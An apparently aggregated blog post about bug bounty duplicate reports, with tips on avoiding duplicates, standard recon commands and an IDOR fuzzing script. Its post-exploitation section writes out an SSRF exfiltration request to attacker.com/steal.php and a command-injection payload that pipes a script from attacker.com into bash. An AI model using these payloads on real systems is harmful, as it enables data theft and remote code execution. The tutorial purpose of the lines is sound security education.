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When bug bounty hunters discover duplicates for a solid logical bug, it triggers mixed emotionsāpride in identifying a real logic flaw but frustration over not receiving compensation. This scenario highlights the competitive nature of bug hunting and the need for persistence.
You Should Know:
1. Why Duplicates Happen
- Many hunters target the same programs simultaneously.
- Automation tools (e.g., Burp Suite, Nuclei) increase report overlaps.
- Public disclosures or write-ups inspire multiple testers.
2. How to Reduce Duplicates
- Focus on logic flaws instead of common vulnerabilities (e.g., XSS, CSRF).
- Use unconventional techniques like race conditions, business logic bypasses, or chained exploits.
- Monitor new programsāfresh targets have fewer duplicates.
3. Essential Bug Bounty Commands & Tools
Recon & Scanning
Subdomain enumeration with Amass amass enum -d example.com -active -o subs.txt HTTP probing with httpx cat subs.txt | httpx -title -status-code -tech-detect -o live_urls.txt Vulnerability scanning with Nuclei nuclei -l live_urls.txt -t ~/nuclei-templates/ -o vulns.txt
Exploitation (Example: IDOR Testing)
Fuzz parameters with ffuf
ffuf -w params.txt -u "https://example.com/api/user?id=FUZZ" -mr "admin"
Automate testing with Python (requests)
import requests
for user_id in range(1000, 1005):
response = requests.get(f"https://example.com/api/user?id={user_id}")
if "admin" in response.text:
print(f"Found admin access via IDOR: {user_id}")
Post-Exploitation (Proof of Concept)
Exfiltrate data via SSRF curl "http://vulnerable.site/load?url=http://attacker.com/steal.php?data=FILE" Test for RCE (Linux) ; curl https://attacker.com/shell.sh | bash ' | $(whoami)
4. Handling Duplicate Reports Mentally
- Document your findingsābuild a private knowledge base.
- Improve triage skillsāvalidate bugs before submission.
- Engage with the communityālearn from othersā techniques.
What Undercode Say
Duplicate reports are inevitable, but they validate your skills. Shift focus to advanced bugs (e.g., SSRF chained with AWS metadata abuse, JWT flaws, or GraphQL injections). Use automation wisely, but rely on manual testing for logic-based vulnerabilities.
Prediction
As bug bounty programs grow, duplicates will increase. Hunters who master business logic flaws, API abuses, and cloud misconfigurations will stand out.
Expected Output:
- A refined methodology for avoiding duplicates.
- Improved exploit scripting and automation.
- Higher-value reports through advanced testing.
Relevant URLs:
IT/Security Reporter URL:
Reported By: Raktim Baidya – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ā
